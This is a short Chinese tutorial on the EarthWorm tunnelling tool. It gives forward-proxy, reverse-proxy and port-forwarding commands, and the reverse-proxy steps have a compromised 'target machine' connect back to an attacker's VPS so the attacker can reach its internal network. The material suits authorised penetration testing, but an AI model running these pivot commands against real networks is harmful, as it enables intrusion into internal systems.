一、簡介
EarthWorm是內網穿透的神器,擁有三項功能正向代理,反向代理,端口轉發。
爲實現這些功能,EarthWorm建立了六大功能模塊。分別是ssocksd , rcsocks , rssocks ,lcx_listen , lcx_tran , lcx_slave。
從三項功能的角度可以這樣劃分
功能名稱 |
對應模塊 |
正向代理 |
ssocksd |
反向代理 |
rcsocks,rssocks |
端口轉發 |
lcx_listen,lcx_slave,lcx_tran |
二、正向代理
一條命令即可
./ew -s ssocksd --listenport 1080
or
./ew -s ssocksd -l 1080
三、反向代理
此處需要使用兩個功能模塊rcsosks,rssocks
在很多場景,無法直接連接需要當做代理的主機,那麼怎麼解決這個問題呢?EarthWorm的解決方法十分簡單,考慮到我們無法直接連接代理主機,但是代理主機可以主動連接我們,因此需要等待該主機主動連接承擔代理任務。而這就是rccosks,rssocks的命令設計想法。rcsocks建立本地代理客戶端,指定本地監聽反彈的端口,rssocks建立本地代理服務端,並指定建立服務端後主動連接的遠程主機的IP和端口。
第1步:在公網的VPS上執行如下命令:
./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &
該命令的意思是說公網機器監聽1080和1024端口。等待攻擊者機器訪問1080端口,目標機器訪問1024端口。
第2步:目標機器執行如下命令:
./ew_for_Win.exe -s rssocks -d 120.xxx.xxx.xx -e 1024
其中-d參數的值爲剛剛的公網IP
第3步:攻擊者機器通過proxychains或瀏覽器設置Socks5代理訪問目標內網服務
四、端口轉發
該功能涉及三個功能模塊:lcx_listen,lcx_slave,lcx_tran這三個模塊可以建立任意形式的端口轉發,可以將內網最深處的主機端口轉發出來。
常見的使用命令組合如下:
./ew -s lcx_listen -l 1080 -e 8888
./ew -s lcx_tran -l 1080 -f [connIP] -g 8888
數據流向 local:1080 < — > local:8888 < — > remoteIP:1080
用於實現將本地端口轉發到遠程可直接連接的某主機的端口,
./ew -s lcx_listen -l 1080 -e 8888
./ew -s lcx_slave -d [ref_ip] -e 1080 -f [connIP] -g 1080
數據流向 connIP:8888 < — > connIP:1080 < — > ref_ip:1080
還可以有許多組合方式,需要時進行總結。